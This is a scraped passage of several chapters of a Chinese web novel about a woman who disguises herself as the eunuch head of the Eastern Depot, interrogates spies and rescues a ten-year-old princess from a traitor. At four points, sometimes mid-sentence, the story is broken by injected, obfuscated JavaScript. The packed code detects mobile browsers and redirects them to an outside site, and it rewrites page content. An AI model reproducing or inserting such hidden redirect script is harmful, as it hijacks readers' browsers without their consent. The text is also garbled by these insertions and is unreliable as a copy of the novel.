再踏出门时,瞧见彭管事正招呼着下人给解衍量身,此时眼前浮现出魏廷川当年的英姿,不知是不是那封信的缘由,白惜时竟又多说了两句。 “就做那种藏蓝色、鸦青色的圆领窄袖袍衫,配双绕皮革银带。解衍既未及冠,便用祥云白玉簪吧。” 说罢她微扬着唇角离开,徒留彭管事几人在后头傻眼。 这,这厂督吩咐的,怎么听也不像是给个下人安排的衣着打扮啊。 解衍同样揣摩不透,今日厂督对他,似乎过分优待了。 — 东厂的办事速度很快,借以翟瑞书房丫鬟的父母生病,千闵在她回家途中半路截下,秘密带回东厂审问。 那丫鬟的审讯很顺利,她承认花草匠的确进过几次翟瑞的书房,还有不少次,那花草匠虽没进去,却托她将书房中丢弃的废纸带出。 那丫鬟到现在都弄不明白自己为何会被捕,哭着问千闵,“可他进书房是怕我累着,帮我一起做活啊。要那些废纸也是翟大人的笔墨好,他有门路可以卖个好价钱,然后给我买衣裳首饰。” “我们又没偷,反正那些都是翟大人不要的,为什么要抓我呢?” 千闵听完摇头,这姑娘被人利用还不自知,傻透了。 拿到供词和证据之后,东厂迅速行动,本欲将那花草匠和几个冉回散商一起抓捕。 但,稍稍晚了一步,那花草匠虽被东厂拿下,交易的瓮堂却被锦衣卫一锅端,冉回的几个散商也被带进了诏狱。 分明是一个案子,案犯却身处两个牢狱互不联通,是一件很麻烦的事。 为此,东厂与北镇抚司交涉数次,双方均不让步,无果。 最后,白惜时不得不亲自见了一趟滕烈,二人交谈的过程不算愉快,但为了不耽误要紧事,还是勉强达成一致。 那便是——联审。 牢狱之中,当白惜时与滕烈分坐两头,一个双腿交叠阴寒恻恻,一个长腿微敞威势凛然,对于受审的案犯,无异于是精神上的双重折磨。 有几人没挨到用刑,光被这两位用目光同时摄住,便抵挡不住压力开始招认。 不召的,便用刑,东厂和锦衣卫的刑罚叠加,轻易便能叫人求生不得求死不能。 唯独兵部侍郎家的那丫鬟,眼睁睁看着情郎被折磨的昏死过去,又被一盆冷水泼醒,此刻才明白过来自己竟是被细作蛊惑,借由帮他出入翟大人书房,泄露了多少大魏军机。 待轮到自己核实证词,她膝盖发软到站都站不起来,滕烈问话,更哆哆嗦嗦觉得每一件冰冷可怖的刑具都在对她狞笑,害怕到半天答不上来一个字。 时间耽搁久了,滕烈逐渐不耐,越发冷厉催促,“快!” 再被这么一吓,丫鬟瞳孔陡然放大,在男子的威慑下,地上竟多了一滩可疑的水迹。 “你给人家吓破胆了。” 凉凉瞥了滕烈一眼,白惜时此时不得不起身,滕烈此人过于冷硬,一连几日的青楼看来是白逛了。 丝毫不懂女子心性。 助那丫鬟挡住一群锦衣卫的逼视,白惜时敛了面上的阴寒,尽量用平淡的口吻告知女子不会对她用刑,她也罪不至死,如若配合,甚至可以考虑为她量刑。 一番安抚之后,那丫鬟逐渐缓了过来,在白惜时的引导下重述核对了证词,又在白字黑纸上签名画押。 将签好的文书反手递给千闵,白惜时缓步走回上座,又挥手命人将那丫鬟带下去,重新给她换套干净的囚服。 见逼问了半天无果之事,在白惜时轻飘飘几句话后便顺利拿下,蒋寅心有不服,嘴上便暗含讥讽。 “厂督多情,倒是对女子尤为通晓怜惜。只可惜……” 不是个真男人!这是蒋寅未尽之语。 白惜时自然明了他的意思,可听完实在毫无波澜,男性自尊在他这里根本不存在,因而只轻描淡写觑了他一眼,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251707|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掠过滕烈,“嗯,自然比在座不解风情的几位强上许多。” 蒋寅:“……” 说完对上一道幽寒的视线,白惜时淡定迎视,只见滕烈整了整衣袖,虽薄唇微勾,笑意却不达眼底,“看来,日后还要向厂督多请教。” “指挥使客气。” — 虽审案的氛围实在算不得愉悦,时不时便有那锦衣卫来给自己添堵,还要经常面对滕烈那个大冰碴子,索性案子审的还算顺畅,白惜时便也忽略了其中的种种不快。 几日都是宿在宫中或东厂,没有回府,这日处理完事务,白惜时又得到一个好消息,那便是绥州大捷,皇帝龙颜大悦,已下旨将魏廷川由绥州参将擢升为镇北将军。 听到这一旨意,白惜时心潮翻涌,简直比自己提拔了还要高兴喜悦。 当年处置晋阳王一族的是先帝泰王,如今新帝早已坐稳江山,看圣上这几年对魏廷川的重用与提拔,显然没有受先帝的干扰,对他有任何成见。 终于,世子靠着自己在军营中一步一步稳扎稳打,又要重新拿回曾属于自己的一切。 案子审的顺利,不日便要收网将最后的两条大鱼拿下,今日又得此喜讯,白惜时一高兴,便顺带应了几位下属的邀请,傍晚一起去酒楼喝了几杯。 从酒楼出来的时候,已是华灯如昼,几个下属喝得歪歪倒倒,白惜时却只能算得上微醺,有女扮男装的秘密在身,她从不会让自己醉过去。 连日忙碌加之酒精,白惜时此刻也觉得疲乏,登上马车便命下人将驶向白府,想要今日好好睡上一觉。 得知厂督回来,府中自然又是一番动静,在下人的伺候下喝完一杯醒酒汤,白惜时一抬眼,便看见了迎面走来的男子。 缓慢地眨了眨眼,又眨了眨,这一刻,白惜时真觉得自己可能醉了。 不然,她怎么会看见魏廷川? 直到男子走到自己面前,站定,有了充足灯火的映照,白惜时才恍然分辨,这哪里是魏廷川,他是解衍。 只不过,解衍从头到尾换了一身行头,衣裳是白惜时吩咐的藏蓝窄袖袍衫,腰间多了一条双绕革带,衬的原本看起来略显单薄的男子宽肩窄腰长腿。再加一那根简单的白玉簪,简直与当年的世子魏廷川的装扮如出一辙。 也难怪在远处,她会认错。 察觉到白惜时的目光在自己的身上定格了许久,解衍只当他是饮酒后的醉态,遂平静从容,上前一步。 “厂督醉酒,我扶你回房。” “不用,我自己能走。” 收回目光,白惜时撑着桌面站起,缓步往屋中走去,只是解衍依旧尽职尽责跟在她的身后,似乎以为她是醉酒后的强撑。 白惜时也没管他,爱跟便跟吧。 直走到屋门口,白惜时被候在那里的孟姑姑扶了进去,在关门的一刹那,白惜时顿住脚步,突然回头,又盯着这样像他的解衍,审视了良久。 “纵使泥泞破碎,亦可破土重生,行至参天。” 她开口,对立在熠熠星光下的男子如是道。 那满腔想要对魏廷川说的话,终是通过另一个人,吐露了出来。 12. 第 12 章 红漆木门在男子面前缓缓阖上,解衍却因为白惜时的一句话,于庭中停驻。 漆黑的眸子中依次掠过茫然,错愕,费解,继而纠杂成一团,汇至幽深的瞳仁。 这好像是自他从云端跌落以来,第一次有人告诉他,没关系,你不会被埋没,还能重新再长成枝繁叶茂的大树参天。 解家遇难,曾经的家人悲怆崩溃无心顾他,至交好友则哀叹连连,悲他时运不济。 解衍虽从未放弃,但其实连他自己都不确信,还能再站起来吗? 但今日有一个人明确对他说,你可以。 这个人,竟然还是人人谈之而色变的权宦——白惜时。 一种怪异、荒诞之感萦绕解衍的心头,不是曾经敬仰如高山的老师,不是时常对你耳提面命的长辈,亦不是那些情同手足的同窗挚友。 所有人都觉得你运气太差,没希望了,还唾弃你的自甘堕落、有失风骨,与一介阉人为伍。 但就是这样一个人,用他看不懂的专注眼神,和煦到令人费解的笑,与他说了方才那一番话。 对,就是那个笑,似乎比言语的冲击力还要更大,将解衍钉死在原地,其实算是很浅淡的一个笑,却绝无恶意,也没了平时里的阴阳怪气,让解衍……很不适应。 果然喝多了,连人的性情也会转变? 冷淡的眉峰蹙起,逐渐聚拢成一个复杂的弧度,初冬的寒风掠过,却因这一袭崭新的锦衣并未让人觉得冷,男子又盯着那扇门瞧了一会,直到里头烛火熄灭,他才转身,往自己的房中行去。 变故发生已来,他习惯于在暗夜之中踽踽独行,但今晚的星光,似乎铺满了夜空。 白惜时第二日醒来的时候,仍记得昨夜种种,虽没有宿醉的头痛,她还是忍不住拍了下脑袋,喝酒误事,即便没喝多,也致使她精神松懈、降低防备。 以至于昨日一腔喜悦无从分享,竟对着解衍说了那些个煽情鼓励的话。 这是厂督该干的吗? 解衍十有八九觉得她喝大发了在说胡话。 下次定要引以为戒,少饮酒为妙。 孟姑姑看白惜时已穿戴整齐,盯着她瞧了瞧,又从袖子中拿出支画眉的青黛,将白惜时略显秀气的弯眉描粗描长,寥寥数笔,便将眼前人的气质改变,多出几分男子的英气。 “这样瞧着便更妥帖了。”孟姑姑左右端详了一阵,满意点头。 白惜时本来就比一般女子要高上大半个头,加之一件做了填充的金丝甲,将肩膀和胸膛垫宽,如此便掩饰了女子骨架偏窄的弱点。 对镜自照,白惜时扬起唇角,“姑姑费心。” 撩起衣摆跨出房门,第一眼见到的又是解衍,虽然已经做好了心理准备,但他这一身行头乍然闯入眼帘,白惜时还是心头一跳,就像是……魏廷川在门口等她一样。 真不知道那日头脑发热,给他定制的这几身衣裳配饰对还是不对。 解衍是解衍,魏廷川是魏廷川,虽然容貌相似,但他们是完全不同两个人,这一点白惜时一直很清楚。 魏廷川不可取代,解衍也不是任何人的替代品。 可穿都穿了,白惜时这时候再让他换下来,难以自圆其说。 唉,算了,就这么着吧。 索性解衍仍是那副没什么表情的样子,看来应该没把昨夜自己的醉话当回事。 “咱家这两日有事,不会回府。” 交待完这句话,白惜时便要出门,路过解衍的时候,又停下脚步,“武练得如何?” “尚可。” “能自保吗?” 似乎觉得白惜时这话问得有些看不起人,解衍难得露出点少年人的意气,“不止。” 今日倒是有生机了些,白惜时抬眸重新瞧了瞧他,继而一挥手。 “那便一起。” 今日有要事在身,不得出纰漏。 经前期案犯交待,白惜时、滕烈已分别禀明圣上,皇帝秘密下旨,东厂、锦衣卫分头行动,同一时间抓捕藏匿在禁军和通政司的两个细作。 此次可能还会涉及冉回人,因而白惜时临时起意带上解衍,以免语言不通造成疏忽遗漏。 锦衣卫赴通政司,东厂赴禁军大营捉拿细作,本应迅速了结之事,却在开端便陡生变故。 先是负责在宫门盯梢的小太监来报,本应今早下值回营的禁军校尉汪魁,清晨却被太后临时安排护送端静公主出宫祈福。 小太监只负责盯住汪魁,并不知具体行动,因而只得急急来报。 紧接着,锦衣卫那边传来消息,通政司薛楠于家中服毒自尽。 种种迹象表明,有人泄密。 那二人应是已经知道自己身份暴露,即将被捕,各自采取了行动。 但相比于已死的通政司薛楠,禁军校尉汪魁显然危险的多,因为端静公主还和他在一起。 端静公主是皇帝的长女,今年十岁,母妃于去年去世,便养在太后膝下。 太后本是想今日去宫外的皇寺烧香祈福,不料身感不适,便安排贴身女官和一向懂事的端静公主替她前往。 而在出发的前一刻,另一位本应互送公主的校尉突然上吐下泻,汪魁此时便自荐顶上,陪同公主一同出宫。 皇帝知道此事震怒不已,猜测恐有冉回人在外接应汪魁,继而吩咐白惜时、滕烈同去捉拿叛贼,在即将离去之际,又叫住二人。 “万不得已,以大魏为先。” 言下之意,公主可以殒命,但大魏的颜面不可丢,势必要将汪魁捉回。 白惜时肃容应是,心里却一时不知做何感想,女子生在天家,实在不知是喜还是祸。 东厂、锦衣卫第一次合作,各自策马狂奔,果然端静公主一行行至中途便被群突然冒出的黑衣人劫持,陪同的女官当场被杀,那群叛贼则往东南方向行去。 而仍活下来的官兵指认,汪魁起先只想自己逃命,但禁军首领俞昂乍然追来,为了自保他们才掳走公主。 听完暗骂一声,白惜时急调马头往贼人逃跑的方向追去。 俞昂是俞贵妃的胞弟,本来只是个街头地痞,因新皇登基,宫女姐姐被立为贵妃,恩宠不断,他才被皇帝破格提拔为禁军副总领。 但俞昂,实在担不起这个职位。 穿过热闹的街道逐渐往人迹罕至的密林,白惜时、滕烈等人的马匹均是千里良驹,又有善于追踪的千闵、蒋寅探路,大约一个多时辰后,隐约便能见前方晃动的树影。 快要追上了,白惜时握紧缰绳,狠夹马腹,与滕烈几乎并驾齐驱,疾驰追赶。 很快,汪魁与十几个冉回人也发现了后头的追兵,一行人眼看就要被追上,迫不得已干脆弃马,在一处山洞口停了下来。 手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251708|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持长刀架在端静公主纤细的脖颈上,汪魁脸上露出鱼死网破的狠厉,“退回去,都退回去!再靠近一步我就杀了她你们信不信!” 端静公主面色惨白,毕竟还只是个十岁的孩童,急切紧张地望向白惜时这边,却因为那把发着寒光的大刀,不敢激怒汪魁,一个字都没有说出口。 白惜时看了一样公主,继而抬手,示意汪魁冷静,率东厂之人向后退了两步,滕烈同样退后,与东厂难得保持了同步。 期间白惜时与滕烈甚至互看了一眼,二人虽不对付,但至少在这样的危机关头,她和滕烈达成了短暂的默契,那便是不贪功,尽一切可能不让公主受伤。 从始至终,白惜时都没想过放弃她的性命。 “将武器和箭都放下!”汪魁似乎是尝到了威胁的甜头,长刀又往端静公主的皮肉上紧了几分,划出一道长长的血痕。 白惜时没有犹豫太久,下令弓箭手撤箭,她和滕烈也将武器卸下,放到了地面之上。 汪魁此刻阴狠地盯着白惜时,似是恨毒了他,“白惜时,你很得意嘛,你是不是觉得自己很能耐啊?什么都查得出来。” “但我告诉你,我若今日走不掉,公主也别想活!你猜,如果公主惨死在我的手上,你回去还能好好做你的厂督吗?皇帝能放过你吗?” 白惜时:“你既然如此恨我,不如我来和公主交换,我过去,你放了公主。” 此言一出,众人侧目,包括滕烈,以及隐在厂卫中的解衍。 在很多人的固有印象中,太监,似乎都都是贪生怕死、趋炎附势之辈。 但这个时候,白惜时竟然提出,他要去换公主? 而汪魁听了简直想大笑,当他是傻子吗? 白惜时有功夫在身,又心机颇多,怎会比一个涉世未深的孩童好操控? 何况东厂与锦衣卫不合是众所周知之事,公主若是放回去,只剩一个白惜时,锦衣卫恐怕巴不得他死快点,毫不犹豫的就会冲锋放箭。 “你这阉狗少他妈诓我!”汪魁对着地面吐了口吐沫。 白惜时被骂,不为所动。 “你觉得你去了冉回就会好过?他们现在愿意救你,不过是看上你所掌握的禁军情报,待这些有价值的消息都挖完,汪魁,他们还会管你的死活吗?” 白惜时不紧不慢,与他分析。 知道,白惜时说的这些汪魁当然都知道,但他无从发泄,只能将全部的怨毒都算在白惜时的头上。 汪魁因赌钱还不上赌债才被冉回人收买。这些人,不仅帮他还债,还继续给他提供赌资,而他只要隔个七、八天去瓮堂泡回澡,将近来所掌握的禁军情报告知便可。 本来神不知鬼不觉。 明明这样的快活日子他还可以继续享受,但都因为白惜时这个死太监,步步为营,将他逼迫到今日这般亡命天涯的惨境。 他怎么能不恨? 想到这汪魁表情更加狰狞,面部的肌肉都在不停颤抖,不甘的视线又对上白惜时那张阴柔却始终大局在握的脸,一个想法在汪魁的脑海中嗡鸣。 他即便死,也不能那么窝囊,他要拉上白惜时垫背! 思及此汪魁又紧了紧手中的寒刀,扫了眼公主,“白惜时,你不是说你要来换她吗?好啊,我改变主意了,有种你就过来。” 他不会放了公主,但他也要,白惜时的命。 14. 第 14 章 将汪魁、冉回贼党一并捉拿,众人相继走出山洞。 白惜时接过千闵递来的一块巾帕,正在慢条斯理擦手,这个时候俞昂快步跑了过来,见着白惜时未束发的模样,眼中闪过一抹惊艳。 “厂督,没受伤吧?” 白惜时不喜跟他多费口舌,“托副总领的福,无碍。” “哎哟,我真不知道当时你也在山洞里头。我要是知道了肯定不能那么喊。” 白惜时:“还有公主。” 俞昂这回理直气壮,“圣上不是说了么,以大魏颜面为先,绝不能让那群贼人逃脱。那肯定是皇帝的旨意要紧。” 也就是说,他没准备管端静公主的死活,甚至,他是想让公主死在里头的。 圣上登基数年,至今没有皇子,公主倒是生了好几个,而端静公主算是其中最不受宠爱的一个。 因为端静公主是太子还在废院之时所生,先帝泰王彼时已然身体欠佳,便强压了个女子给废太子,当时存的心思,应该是怕废太子报复,因而想要越过废太子,直接立他的儿子为储君。 还好最后落地的,是一个公主。也就是现在的端静长公主。 一个皇帝少年时期受威胁生下的孩子,自然不得喜爱,小公主直到去年跟了太后,境遇才好上一些。 而俞贵妃更是不喜端静,当时废院之中,她与皇帝均是对方唯一,这时候横插进来一个女子又给自己的心上人生了第一个孩子,她又气又恨。 所以,端静若是出了事,俞贵妃和俞昂不会在意,俞昂有姐姐的保驾护航,亦不会受到什么实质性的责罚。 因而,白惜时不好判断俞昂那一嗓子,到底是无心还是故意。 白惜时不乐意跟俞昂打交道,但因为俞贵妃的关系,俞昂却总觉得自己和白惜时关系匪浅,上赶着往她跟前凑。 也正是因为俞贵妃,白惜时亦不得不给俞昂几分脸面。 被他吵得烦了,白惜时面上逐渐不耐,此时解衍恰好走过来,看了一眼她尚未束起的青丝,摊开掌心,将那根黑檀木发簪送了回来。 白惜时感叹解衍来的及时,继而拿过发簪,对着俞昂假笑,“副总领,咱家还未束发,失陪。” 远离人群走到一棵枯树之下,白惜时手指灵活,将散落的发丝重新拢好、束起,她动作娴熟随意,三、两下便完成,却不知道就是这几个简单的动作,已经引来了颇多人的注意。 尤其是锦衣卫。 “我如今对太监的不男不女算是有新的认识了,厂督那是……真漂亮啊!” “男子漂亮有什么用?有这张脸还不如投胎的时候生成个女子,也少了下头挨那一刀的罪。” “说得就跟厂督是个女子你就你敢娶似的,刚才没看见他那股狠劲啊?照样给你脖子勒断咯。” 此言一出,锦衣卫们霎时又回想起白惜时方才用发丝勒晕汪魁时的场面,震撼之余,只觉脖子处一阵凉飕飕的寒。 特别是蒋寅,之前没少挖苦白惜时,现在想来,喉咙都觉得发紧。 “哎,不过你们说厂督若真生成个女子,那宫里的贵妃……是不是又得多一位啊?” 大事已了,此刻正是收队放松的时刻,几人没什么顾及闲聊着,然而这句话音刚落,前头一直没有反应的滕烈倏然回头,眼中带着威压,将一群胡说八道之人震慑的全都噤了声。 “从现在开始,谁再敢妄议一个字,逐出北镇抚司!” 妄议天家之事,是要掉脑袋的。 众人缩了缩肩,连连应是。 原来他们刚才说话指挥使听到了啊,听到了到现在才叫停,他们还以为之前没反应是没听到呢。 锦衣卫的议论告一段落,这边白惜时也重新规整好头发,只是苦于没有镜子,不知道发髻有没有歪斜。 若是歪了斜了,对她威风凛凛的厂督形象,还是会大打折扣的。 回过头见解衍仍在不远处等着,白惜时走过去,“如何?” “……?” 白惜时靠近,五官在面前骤然放大,解衍不知怎的一时竟有些怔忪。 “咱家头上的发髻。”白惜时拿捏着厂督该有的气度,“可还端正?” “……很好。”解衍说完,停了片刻,紧跟着补充了一句,“端正。” 端正便好。 白惜时半是不经意整理着衣袖,半是与解衍一同往回走,“什么时候学的飞刀?” 脚步一顿,复又迈开。 “十二岁。” 自那一刀飞出去,解衍便知道白惜时必有一问,因而,也没必要隐瞒。 “练得不错。”没问他一个文官为什么要练这些,白惜时只道:“进府后想过要杀我吗?” 闻言又是短暂的停滞,解衍唇线绷直,没有说话。 那就是想过了。 白惜时倒不意外,只兀自感叹了一声,“看来咱家命还挺大。” 解衍比白惜时料想藏得还要深些,不过既然方才对方肯出手,至少代表他眼下是有诚意的,亦或者说,二人现在是互相捆绑的利益共同体。 她替他护住解柔云,给他提供翻身的机会,他为她办事。 只要利益仍在,白惜时就不担心解衍会对自己不利。 思及此白惜时暂时放下顾虑,在人群中搜寻了一眼,朝那边明显受了惊吓的端静公主走去。 看着白惜时离开的背影,解衍没有告诉她,即便是在最风光的时刻,自己也没有外人称颂的那般风光霁月、清正端方。 他有压抑阴暗的一面。 自养父去世,养母离开的那一日,他便知道自己在解家不能行差踏错一步,他必须是最优秀的,事事楷模,才能带着妹妹在解家有立足之地。 压抑天性,摈弃性情,他活成所有人期待中的样子。 当所有人为他的欢欣鼓舞的时候,唯独他,虽跟着一起谦和的笑,但内心麻木。 精于木雕,练习飞刀,并非出自喜欢、自保,而是为了排遣心中那股时常翻涌叫嚣着的逆反。 因而白惜时让他练武,解衍欣然接受,甚至一练就是好几个时辰,发泄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251710|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十几年努力付之一炬的无力感。 不过,刚才杀人的感觉,似乎还不错。 解衍从中获得了一股空前的平静。 是啊,只要是该杀的,为什么不能杀呢? — 端静公主发丝凌乱,脖子上裹着一条止血的白布,像是还没有从方才的惊变中缓过神,浑浑噩噩坐在禁军与锦衣卫之中,等待着接她回宫的马车。 在场之人都是男子,公主虽只有十岁,也到了要注重男女大防的年纪。因而简单的安抚之后,没有谁停留在她的身侧,只各司其职守卫在周围。 如此,便更显得得她单薄伶仃。 白惜时走过来之时,锦衣卫、禁军自发后退让出一条道,低头敛目均是恭敬之态。 背后调侃归调侃,但谁都不敢否认,如若当时没有厂督在场,经由禁军副总领带来的那一场突变,公主此时还能不能保下性命。 端静公主此刻听到声响,仰着头,看着那人越过一众官兵,正一步步朝自己走来,不知怎么的,竟想到踏着祥云来拯救人间疾苦的谪仙。 眼中的后怕与委屈在看到那人之后慢慢汇集,积累到一定程度,便化成了瘪下去的嘴角和眼泪,滴答滴答掉落了下来。 “……厂督。” 看来是吓坏了,一直强撑着的坚强也快要维持不住。 见公主这副模样,白惜时想,毕竟还只是个孩子。 继而收敛起平时里那副阴冷,难得带着些平和,白惜时接过千闵递过来的木梳,对着她道:“公主,头发乱了,奴才为您重新梳妆。” 闻言端静公主抹了把眼泪,很听话地坐直了身体,背过身去任由白惜时施为。 是完完全全信任的模样。 …… 马车摇摇晃晃,驶进守卫森严的皇城,端静长公主走下马车,眼睛还有些泛红,显然是在车上见到贴身姑姑又哭了一回。 于长长的宫道之中又步行了一阵,眼看巍峨的宫殿就在眼前,白惜时停下脚步,回头看了一眼。 挥退搀扶公主的姑姑,白惜时行于公主身侧:“圣上就在殿内,公主可知道眼下最紧要的是什么?” “什么?”小公主显得有些早熟,又有些谨小慎微,一双眼睛认真望向白惜时。 她是知道父皇不喜欢她的,因而越是知道要见父皇,便越紧张。 “是要让你的父皇认可,你是为了捉拿贼寇以身涉险,你是大魏的长公主,没有在贼人面前露怯,也没有损失一分一毫大魏的颜面。” 对于不受宠的皇子公主,皇宫生存法则一向残忍。眼泪得不到同情和怜爱,只会被认为懦弱。 端静公主似乎是听懂了,神色在一瞬间变得凛然。 可挺直腰杆走了两步,她又回过头,庄重肃穆的表情在面对白惜时时,泄露出一丝稚怯。 “厂督……可否同我一起?” 缓步走过去向她伸出左臂,让公主的右手稳搭于自己的衣袖之上,白惜时看向她,继而微微低头。 “奴才,恭迎长公主回宫。” 15. 第 15 章 大殿之内,端静长公主立于父皇身后,心绪直到现在都难以平复,今日,是她第一次见父皇对她露出赞许的神情。 说她临危不惧,有大魏长公主之风。 端静公主的小脸因为兴奋而变得红扑扑的,明明之前才经历过一场生死险境,脖子上也火辣辣的疼,但好像没有什么比得到父皇的认可更叫人开心。 可很快,她又发现了不对,明明这次将她救出来的是东厂还有锦衣卫,为什么父皇现在夸赞的却是俞昂? 话里话外,将这次的大部分功劳都归功给了禁军。 说他们最快察觉有异,包围有序,增援及时。 小公主有些不忿,她想要拉住父皇的衣摆,告诉他不是的,不是的父皇,俞昂害的女官姐姐被杀,害的自己被歹人掳走,差点就要没命了,是厂督救下的自己。 她想要解释,又实在胆怯,没有勇气当面打断父皇,这时候便只能朝厂督望过去,想要寻找认同。 白惜时很快发现公主在看自己,小孩子的许多想法都写在脸上,读懂了她的急迫,白惜时敛容,几不可见地冲她摇了摇头。 厂督不让她说? 端静公主瞥了眼俞昂,掩饰掉眼中的不忿,为什么? 白惜时这一细微的动作皇帝和俞昂没有发现,但立于他身侧的滕烈却看在眼里,目光在二人之间扫了个来回,男子不动声色,当作什么都没有察觉。 端静公主此刻仍望着白惜时,虽不再显露情绪,但似乎执着想找她要一个答案。 而白惜时已然移开视线。 很多事情,没法向一个小孩子解释,解释的太清楚了,往往更伤人。 白惜时相信,今日之事的来龙去脉皇帝心中自有分辨,只是这天下如今都由他主宰,他眼下愿意将这功劳给谁,那便是谁的。 争,是争不来的。 滕烈应该同样也知道这个道理,所以两个人,谁都没有多说一个字。 皇帝愿意偏向爱妃的胞弟,谁又能置喙? 何况如若抛却端静公主的性命不谈,俞昂做的也确实没什么不对。 俞贵妃在皇帝心目中的地位,是一百个端静公主都无法比拟的。白惜时再一次清楚地确认这一点。 可这些,又如何向小公主说明呢? 俞昂受今上嘉奖,激动的上前一步,正满面红光与皇帝表忠心,白惜时听不下去,百无聊赖,干脆分心瞥了眼另一侧的滕烈。 哪成想,滕烈恰巧也在看她。 发现白惜时望过来,滕烈没移开目光,互相撞上眼神,很快,又双双挪开改为目视前方,正容肃眉仿若无事发生。 难得啊难得,收回目光时白惜时在心中感慨,她如今竟跟滕烈还生出了那么几分惺惺相惜,果然默契不一定要双方配合协作才能达到,共同看不上一个人的时候也能有。 白惜时此刻与滕烈的默契,便产生于俞昂。 这段时间东厂、锦衣卫互相拼比、你争我夺,忙得日夜颠倒、废寝忘食,眼下看来,这些奔波倒好像是为了别人做嫁衣裳。 白惜时与滕烈方才对视的那一眼,二人倒是没什么失落,就是觉得有些无言,甚至想笑。 瞎较什么劲呢! 不过,白惜时对滕烈的印象多少有些转变,这人傲慢归傲慢了些,但人品看来还可以。没有不顾公主的死活,也没在自己遇险时从背后捅刀子。 甚至,算是互相配合补位。 待到与圣上禀报完毕,几人一同行礼退下,白惜时方准备转身,皇帝的声音已经从上头传来,“惜时留下。” 停下脚步,白惜时恭敬地立于原地,待滕烈、俞昂跨过门槛,在小太监的带领下离开大殿,本以为皇帝有什么重要的事要交待,但白惜时等了半天,没成想上首之人什么都没说,还拿起当日的奏折低头批阅了起来。 ? 皇帝不说话,白惜时只能垂首候着,直等到宫女端了一盅甜品上来,皇帝才一挥手,示意她给白惜时送过去。 ?? 看着宫女端着漆盘向自己靠近,白惜时实在想不通,所以……皇帝将他留下来,就是为了请她吃点心的? 迟疑着接过托盘,白惜时低头谢恩,皇帝听后终于“嗯”了一声,依旧未从折子中抬眼。 “汪魁和冉回的案子,还是由你来审。” 但他这句话,显然是对白惜时说的。 白惜时闻言一抬眸,迅速答道:“是。” 此刻才抬眼重新看向了白惜时,皇帝面上带了些笑模样,“下去吧。” 端着这一盅银耳雪莲,源源不断的热气从食皿中冒出,看着这袅袅白雾,白惜时心里一时不知做何感想。 皇帝虽然方才什么都没说,但她知道,这是对自己的安抚。皇帝是在告诉她,他明了方才之事的是非功过,所以,案子也还是由白惜时来审。 思及此,白惜时又记起近来后宫并不太平,皇后与俞贵妃矛盾日益突出,想必皇帝嘉奖俞昂,也是在给贵妃的娘家增势添底气。 因而这功劳便也要让给贵妃的胞弟。 然后为了安抚白惜时,皇帝又请她吃了一盅甜品。 想到这不由失笑,白惜时一早就知道皇帝是个重情义的人,只不过她早已不是小孩子了,赏点什么东西不比赏这些零嘴强? 拿起瓷勺送了一口到嘴中,唔……果然好甜。 齁甜! 其实白惜时没有那么喜欢食甜,只不过那时候刚穿过来过了好长时间朝不保夕的日子,连饭都没机会吃饱,更逞论甜食零嘴。 那一日,亲眼见到魏廷川被官兵带走,白惜时心神恍然回到废院。彼时先帝泰王已然生病,废院的境况也比原先好上一些,俞姐姐还剩下半盅银耳雪莲没有吃完,便留给了白惜时。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251711|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白惜时浑浑噩噩坐下,拿起汤匙,当许久未品尝过的甜蜜滋味入口,一刹那百感交集,竟流下了泪来。 十一岁的白惜时边哭边吃,众人惊诧,问她原因,她只能谎称好吃到想哭。 如此答复惹来另外三人一起发笑,自此大家就都认定白惜时喜欢甜食。 皇帝也不例外。 可他们不知道,当时的白惜时觉得那银耳雪莲,甜到发苦。 自此便再没碰过。 不过再不喜欢的东西,皇帝御赐的也定要一滴不剩的喝完,一口口饮下,将空了的瓷盅还给一旁侍候的小太监。 不过奇怪,这次白惜时竟觉得滋味还行,虽甜,但至少再没有记忆当中的苦涩之味。 ……都会越来越好的。 — 